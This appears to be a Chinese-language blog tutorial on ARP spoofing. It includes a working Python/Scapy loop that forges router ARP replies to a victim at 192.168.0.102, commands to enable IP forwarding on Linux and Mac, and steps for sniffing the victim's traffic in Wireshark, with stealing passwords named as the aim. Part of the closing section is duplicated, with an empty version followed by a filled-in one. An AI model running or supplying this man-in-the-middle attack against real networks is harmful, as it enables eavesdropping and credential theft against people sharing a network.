操作環境
攻擊電腦:- IP: 192.168.0.101
- Operating System: macOS High Sierra 10.13.5
- Hardware: MacBook Pro (13-inch, 2017, Four Thunderbolt 3 Ports)
- Programming Language: Python 3.5.4
- IDE: PyCharm 2018.1
- WireShark: Version 2.6.0
被攻擊電腦:
- IP: 192.168.0.102
- Operating System: Windows 10
- Hardware: ASUS S550CM
路由器:
- IP: 192.168.0.1
說明:
當駭客的第一步,最常見的方法就是擷取別人的封包。假設A電腦連上一個未加密的網站,那這台電腦丟給這個網站的封包都會以明文傳送,這時候就很容易被有心人士竊聽封包,將你的帳號密碼全部竊取走!這也是為什麼現在越來越多網站都要提升安全性,將HTTP加密,成為HTTPS。
ARP:
全名為Address Resolution Protocol,為位址解析協定,在每一台電腦中都有一個ARP Table,儲存區域內的電腦 IP 及 MAC Address。通常 Host 會以廣播的方式詢問誰擁有某個 IP的實體位址,在此區域上的電腦,都會確認自己是不是與廣播中的相符,若一樣的話則回覆自己的MAC Address,反之則忽略。
而 ARP Table 儲存在 ARP Cache 中,裡面也有分動態記錄及靜態紀錄兩種:
動態記錄:
當一台電腦解析完 ARP 封包後,會將結果儲存在 ARP Cache中,以供後續使用。但為了避免網路黑洞的發生,所以紀錄的壽命時間通常為兩分鐘,若有被使用到,就會被延長為10分鐘。
靜態紀錄:
如果使用者知道對方的 IP 及 MAC Address 為何,就可以以手動的方式加入,就叫做靜態紀錄,但它的壽命比動態記錄長,只有重新開機、與動態記錄衝突、手動刪除才會消失。
設置靜態紀錄可以在終端機輸入:
arp -s IP MAC
步驟:
首先,必須要先下載 Scapy,它就很像是Wireshark,一樣可以截取封包,更厲害的是可以建立封包,以廣播或是指定 IP 的方式傳送。我們今天會使用它來創立ARP封包,打亂對方電腦的 ARP Table。
在終端機先輸入指令來查看當下的 ARP Cache:
arp -a
所以我們的路由器就是192.168.0.1。Scapy Oficial Website: https://scapy.net
Download Link: Scapy 2.4.0
打開你的 Python 編輯器,建立一個檔案,程式碼如下:
from scapy.all import *
import time
p=ARP()
p.op=2
p.psrc='192.168.0.1' # Router IP
p.pdst='192.168.0.102' # 被攻擊的電腦
while True:
send(p)
p.show()
time.sleep(1)
這支程式會每隔一秒廣播 ARP 封包,讓目標物的封包轉傳到這部電腦中。
一但目標物收到這個封包後就會被斷網,所以我們要將攻擊電腦的 IP Forwarding 打開,才能順利連上網路。
On Linux:
On Mac:
執行後程式開啟 WireShark,就可以截到封包了!
從封包內容來看,可以知道使用者正在連接到某個網站上。
Source:
一但目標物收到這個封包後就會被斷網,所以我們要將攻擊電腦的 IP Forwarding 打開,才能順利連上網路。
On Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
On Mac:
sudo sysctl -w net.inet.ip.forwarding=1
執行後程式開啟 WireShark,就可以截到封包了!
從封包內容來看,可以知道使用者正在連接到某個網站上。
Source:
留言
張貼留言